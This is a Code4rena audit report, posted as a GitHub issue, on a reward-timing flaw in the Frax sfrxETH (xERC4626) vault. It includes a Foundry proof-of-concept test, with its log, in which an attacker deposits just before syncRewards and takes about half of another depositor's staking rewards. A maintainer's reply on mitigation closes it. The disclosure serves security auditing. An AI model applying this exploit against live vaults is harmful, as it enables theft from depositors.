code423n4 commented 2 years ago

Lines of code

https://github.com/corddry/ERC4626/blob/643cd044fac34bcbf64e1c3790a5126fec0dbec1/src/xERC4626.sol#L45-L62 https://github.com/corddry/ERC4626/blob/643cd044fac34bcbf64e1c3790a5126fec0dbec1/src/xERC4626.sol#L78-L97

Vulnerability details

Impact

The attacker can steal part of the rewards that does not belong to him. And the attacker can keep the frxETH liquid most of the time rather than locked in the stake contract.

Proof of Concept

The attacker can deposit frxETH to the sfrxETH after the next rewards received and before the syncRewards function is called. And then call syncRewards immediately and wait for withdrawing frxETH at the reward cycle end. The attacker stole rewards from others because the share price didnt include the rewards when he deposited, but included all of the rewards at the reward cycle end.

Add this test function to the foundry test contract https://github.com/code-423n4/2022-09-frax/blob/main/test/frxETH_sfrxETH_combo.t.sol

// import console at the head of the test file
import { Test,console } from "forge-std/Test.sol";

    function testCrossOverCycle() public {
        uint need_eths = 32 ether;
        // 1 ether / ~10 cycle for 1 VALIDATOR (32 ether)
        uint mock_cycle_earn = 1 ether;

        // mock a normal user (victim)
        address mock_normal_user = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
        mintTo(mock_normal_user, need_eths);
        vm.prank(mock_normal_user);
        frxETHtoken.approve(address(sfrxETHtoken), need_eths);
        // Generate sfrxETH
        vm.prank(mock_normal_user);
        sfrxETHtoken.deposit(need_eths, mock_normal_user);

        // address(this) is the attacker
        mintTo(address(this), need_eths);
        frxETHtoken.approve(address(sfrxETHtoken), need_eths);

        require(sfrxETHtoken.totalAssets() == need_eths, "only 32 ether now");

        // 10 cycle - 100s
        vm.warp(10_000-100);

        // Mint frxETH "rewards" to sfrxETH. This mocks earning ETH 2.0 staking rewards.
        mintTo(address(sfrxETHtoken), mock_cycle_earn);

        // normal user options
        // Sync with new rewards
        sfrxETHtoken.syncRewards();
        require(sfrxETHtoken.lastRewardAmount() == mock_cycle_earn);  
        require(sfrxETHtoken.lastSync() == 9900);  
        require(sfrxETHtoken.rewardsCycleEnd() == 10000);  
        require(sfrxETHtoken.totalAssets() == need_eths);
        require(sfrxETHtoken.convertToShares(need_eths) == need_eths); // 1:1 still

        // Fast forward to cycle end
        vm.warp(10_000);
        console.log("10 cycles end");
        console.log(sfrxETHtoken.totalAssets(), "32 + 1 ether");
        console.log(sfrxETHtoken.convertToAssets(sfrxETHtoken.balanceOf(mock_normal_user)), "32 + 1 ether");

        // any sync is ok before receive earning 
        vm.warp(14_000);
        sfrxETHtoken.syncRewards();
        vm.warp(18_000);
        sfrxETHtoken.syncRewards();

        // skip to 20 cycle - 100s
        vm.warp(20_000 - 100);
        // receive earning
        mintTo(address(sfrxETHtoken), mock_cycle_earn);

        // attack
        sfrxETHtoken.deposit(need_eths, address(this));
        sfrxETHtoken.syncRewards();
        vm.warp(20_000);
        console.log("20 cycles end");
        console.log(sfrxETHtoken.totalAssets());
        console.log(sfrxETHtoken.convertToAssets(sfrxETHtoken.balanceOf(mock_normal_user)), "<-- should be 32 + 2 ether"); 
        console.log(sfrxETHtoken.convertToAssets(sfrxETHtoken.balanceOf(address(this))), "<-- should be 32 + ~0 ether, because just deposited 100s ago, rewards should be very small");
    }

Test Log with command forge test --match-contract xERC4626Test --match-test testCrossOverCycle -vvv

Running 1 test for test/frxETH_sfrxETH_combo.t.sol:xERC4626Test
[PASS] testCrossOverCycle() (gas: 282947)
Logs:
  10 cycles end
  33000000000000000000, 32 + 1 ether
  33000000000000000000, 32 + 1 ether
  20 cycles end
  66000000000000000000
  33507692307692307692, <-- should be 32 + 2 ether
  32492307692307692307, <-- should be 32 + ~0 ether, because just deposit 100s ago, rewards should be very small

You can see the attacker stole about a half of the rewards belonged to the mock_normal_user in 100 seconds , and the attacker can withdraw from the contract directly at the end of the cycle to realse the frxETH liquidity for more yield.

The interval of the reward cycles and the earnings arrival time have a big impact on the attack. But, according to the official documentation, the reward cycle will be just a few seconds, for example its 1000 seconds in the contract deploy script (https://github.com/code-423n4/2022-09-frax/blob/main/script/deployGoerli.s.sol#L20) and its about X seconds in the code comment (https://github.com/code-423n4/2022-09-frax/blob/main/src/sfrxETH.sol#L34). And the rewards in the protocol treasury will be sent to sfrxETH vault every 7 days, which is shown in the Flowchart of the documentation (https://github.com/code-423n4/2022-09-frax/blob/main/README.md#flowchart).

So, it will be more worse in the real production situation, compared with the test case above.

Tools Used

foundry

Recommended Mitigation Steps

It is better to divide the cycle according to the time when the reward arrives.

FortisFortuna commented 2 years ago

From @denett syncRewards should be called by us at the beginning of each period, or we need to automatically call it before deposits/withdrawals.